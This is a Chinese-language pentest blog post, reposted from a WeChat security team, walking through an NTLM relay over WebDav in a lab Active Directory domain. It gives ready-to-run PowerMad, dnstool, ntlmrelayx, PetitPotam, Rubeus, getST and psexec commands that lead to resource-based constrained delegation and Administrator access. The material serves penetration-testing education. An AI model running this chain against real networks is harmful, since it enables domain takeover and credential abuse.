通过WebDav进行NTLM-Relay

admin 2022年11月4日18:34:54评论173 views字数 2543阅读8分28秒阅读模式

前言:

NTLM Relay 大家已经不再陌生了,很多时候我们通过 NTLM Relay 进行攻击时,会受到协议签名(ldap/s、smb等协议签名)的影响从而导致攻击失败,并且随着时间的流逝,我们想要遇到忽略签名的 smb 等服务也变得越来越困难了,我们有哪些方法来忽略服务端验证签名的影响从而达到我们 relay 攻击的目的呢?

我们可以寻找不支持签名的服务,来避免服务端的签名校验。若客户端不支持签名验证的话,服务端在与客户端通信时是不会强制要求签名认证的。因此我们可以使用 HTTP 服务中的 WebDav 来尝试 Relay 攻击了。

什么是 WebDav:

WebDAV 是一组基于超文本传输协议的技术集合,有利于用户间协同编辑和管理存储在万维网服务器文档。通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件。

Windows 通过 WebClient 服务实现 WebDav,允许 Windows 程序通过 WebDav 来创建、读取以及写入服务器上的文件,并通过 HTTP 服务进行通信,在客户端访问 WebDav 时,若开启 Windows 身份验证机制,我们便可以通过域内凭证进行访问服务。

攻击步骤:

  • 拿到一枚域用户
  • 探测开启 WebDav 的服务器
  • 在域内为攻击机添加 DNS 解析
  • 使用 Responder 进行中继与委派
  • 强制 WebDav 服务器认证攻击机
  • 执行基于资源的约束委派攻击

攻击流程:

探测 WebDav 服务

拿到域内权限后,通过 GetWebDAVStatus.exe 探测内网中开放 WebDav 的服务器。

通过WebDav进行NTLM-Relay

发现目标后,为了让 Relay 顺利进行,我们可以添加一份 DNS A记录,从而使得 WebDav 通过默认凭据来对我们进行身份验证,由于在 Windows 当中,WebDav 由 WebClient 服务实现,而 WebClient 服务仅对内网以及受信任站点中的目标来采用默认凭据进行身份验证。

添加 DNS 解析

0x1. 域内使用PowerMad添加

此处我们使用 PowerMad 进行添加 DNS A解析记录,此处我们添加解析记录,普通域用户也可添加,并非只有域管用户才可操作。

import-module .invoke-DNSupdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.pentest.local -DNSData 10.0.10.128
通过WebDav进行NTLM-Relay

紧接着使用 ipconfig /flushdns 刷新 dns 本地缓存后可以看到使用 ping 命令即可成功解析我们所添加的记录

通过WebDav进行NTLM-Relay
0x2. 域外使用 dnstool.py 添加
python3 dnstool.py -u pentest.local\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local
通过WebDav进行NTLM-Relay

准备 NTLM Relay

回到攻击机进行操作。

利用 Impacket 项目 ntlmrelayx.py 执行攻击,指定 LDAP 协议进行身份验证,目标主机设置为域控,利用 -delegate-access 选项执行基于资源的约束委派攻击。

python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support
通过WebDav进行NTLM-Relay

强制认证主机创建机器账户

回到被我们控制的主机,使用 PetitPotam 强制 WebDav 服务器认证我们的攻击机,此处不可使用 ip 进行强制认证,使用我们先前添加的 DNS 解析进行强制认证,此处的 @ 符号前为主机名,后为端口号。

0x1. 域内认证
PetitPotam.exe evil@80/evil.cnf 10.0.10.110
通过WebDav进行NTLM-Relay
0x2. 域外认证
python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110
通过WebDav进行NTLM-Relay
通过WebDav进行NTLM-Relay

这时候,回到攻击机查看可以发现,我们此时已经通过 ws03$ 的身份,创建了一个机器账户

通过WebDav进行NTLM-Relay

这时我们回到域控查看 WebDav 服务器,可以发现 msDS-KeyCredentialLink 属性已经被修改。

通过WebDav进行NTLM-Relay

申请票据

0x1. 域内申请票据

此时,我们便可以通过 S4U 扩展协议来申请访问 WebDav 目标机的 ST 票据了。

将密码转为 hash,便于我们进行使用 Rubeus 进行申请票据

.Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei'
通过WebDav进行NTLM-Relay
.Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B  /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt

由于开启了 PTT 模块,此时我们缓存中已经加载了申请来的 ST 票据,拥有了访问 WS03 机器共享目录权限。

通过WebDav进行NTLM-Relay

当然,我们也可以将申请到的 kirbi 票据除空格后解码 base64,利用 ticketConverter 转为 cacche 格式,于域外利用

echo 'payload' | base64 -d > administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache
通过WebDav进行NTLM-Relay

将申请到的票据加载到环境变量中,使用 psexec 登陆远程服务器。

export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache
python3 psexec.py -no-pass -k ws03.pentest.local
通过WebDav进行NTLM-Relay
0x2. 域外申请票据

参考委派,使用机器账户身份申请 ST 票据

python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW$ -spn cifs/ws03.pentest.local -impersonate administrator
通过WebDav进行NTLM-Relay

原文始发于微信公众号(海狮安全团队):通过WebDav进行NTLM-Relay

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月4日18:34:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过WebDav进行NTLM-Relayhttp://cn-sec.com/archives/1390678.html

发表评论

匿名网友 填写信息